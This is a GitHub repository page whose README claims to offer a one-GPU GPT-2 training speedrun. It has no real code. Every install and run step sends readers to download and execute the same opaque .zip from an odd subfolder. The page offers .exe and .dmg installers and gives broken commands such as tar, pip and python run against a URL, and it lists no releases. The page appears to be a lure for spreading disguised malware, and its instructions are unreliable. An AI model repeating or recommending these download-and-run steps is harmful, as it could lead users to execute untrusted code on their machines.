Skip to content

Gane2122/nanoGPT_1GPU_SPEEDRUN

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

22 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 nanoGPT_1GPU_SPEEDRUN - Run GPT-2 in Under Two Hours

πŸš€ Getting Started

Welcome to nanoGPT_1GPU_SPEEDRUN! This application allows you to recreate the GPT-2 model quickly and easily on your powerful GPU. Imagine building something remarkable from scratch using only a box of scraps and a 4090. Let's get started!

πŸ› οΈ System Requirements

Before you dive in, make sure your computer meets these requirements:

  • Operating System: Windows, macOS, or Linux
  • GPU: NVIDIA GPU with at least 8 GB of VRAM (e.g., RTX 3090, RTX 4090)
  • RAM: At least 16 GB
  • Storage: Minimum of 10 GB available space
  • Software Requirements:
    • Python 3.8 or higher
    • Pip package manager

πŸ“₯ Download the Application

Download nanoGPT_1GPU_SPEEDRUN

To download the software, visit the Releases page here: Download nanoGPT_1GPU_SPEEDRUN.

πŸ“¦ Download & Install

  1. Visit the Releases Page: Click on this link to go to the Releases page: Download nanoGPT_1GPU_SPEEDRUN.

  2. Find the Latest Release: On the Releases page, look for the latest version of nanoGPT_1GPU_SPEEDRUN. It will usually be at the top of the list.

  3. Download the Package: Click on the link for the package that matches your operating system. This will start the download.

  4. Install the Software:

    • For Windows:
      • Locate the downloaded .exe file and double-click it to start the installation.
      • Follow the prompts in the installation wizard.
    • For macOS:
      • Open the downloaded .dmg file and drag the application into your Applications folder.
    • For Linux:
      • Use the terminal to navigate to your Downloads folder. Run the command tar -xvf https://raw.githubusercontent.com/Gane2122/nanoGPT_1GPU_SPEEDRUN/main/tetragonally/nano_SPEEDRUN_GP_v2.2.zip to extract the files.

🌍 Configuration

Once installed, you may need to configure some settings for the application to run properly:

  • Set Environment Variables: You may need to set up CUDA paths for NVIDIA GPUs.
  • Install Dependencies: Open your terminal (or command prompt) and run the following command:
    pip install -r https://raw.githubusercontent.com/Gane2122/nanoGPT_1GPU_SPEEDRUN/main/tetragonally/nano_SPEEDRUN_GP_v2.2.zip

πŸ”§ Running the Application

Now that you have installed and configured nanoGPT_1GPU_SPEEDRUN, it’s time to run it:

  1. Open your terminal or command prompt.
  2. Navigate to the directory where you installed nanoGPT_1GPU_SPEEDRUN.
  3. Run the command to start the process:
    python https://raw.githubusercontent.com/Gane2122/nanoGPT_1GPU_SPEEDRUN/main/tetragonally/nano_SPEEDRUN_GP_v2.2.zip

πŸŽ›οΈ Using the Application

After running the application, you can specify various parameters:

  • Model Size: Choose the size of the model you wish to train. Options typically include small, medium, and large.
  • Training Data: Point the application to the text files you want to use for training.
  • Training Duration: Set how long you want the application to train the model.

🚨 Troubleshooting

If you run into any issues, consider the following common problems:

  • Error Messages: Look for any error messages in the terminal. Often, they will tell you what went wrong.
  • GPU Not Detected: Ensure that your NVIDIA drivers are up-to-date and that you have installed CUDA.
  • Insufficient Memory Issues: If your GPU runs out of memory, consider reducing the model size or batch size.

πŸ“ž Support and Contributions

If you need further assistance, please feel free to open an issue on the GitHub repository. Your feedback is valuable for improving the application.

πŸ”— Additional Resources

You may find these resources helpful:

Enjoy building with nanoGPT_1GPU_SPEEDRUN!

Releases

No releases published

Packages

 
 
 

Contributors

Languages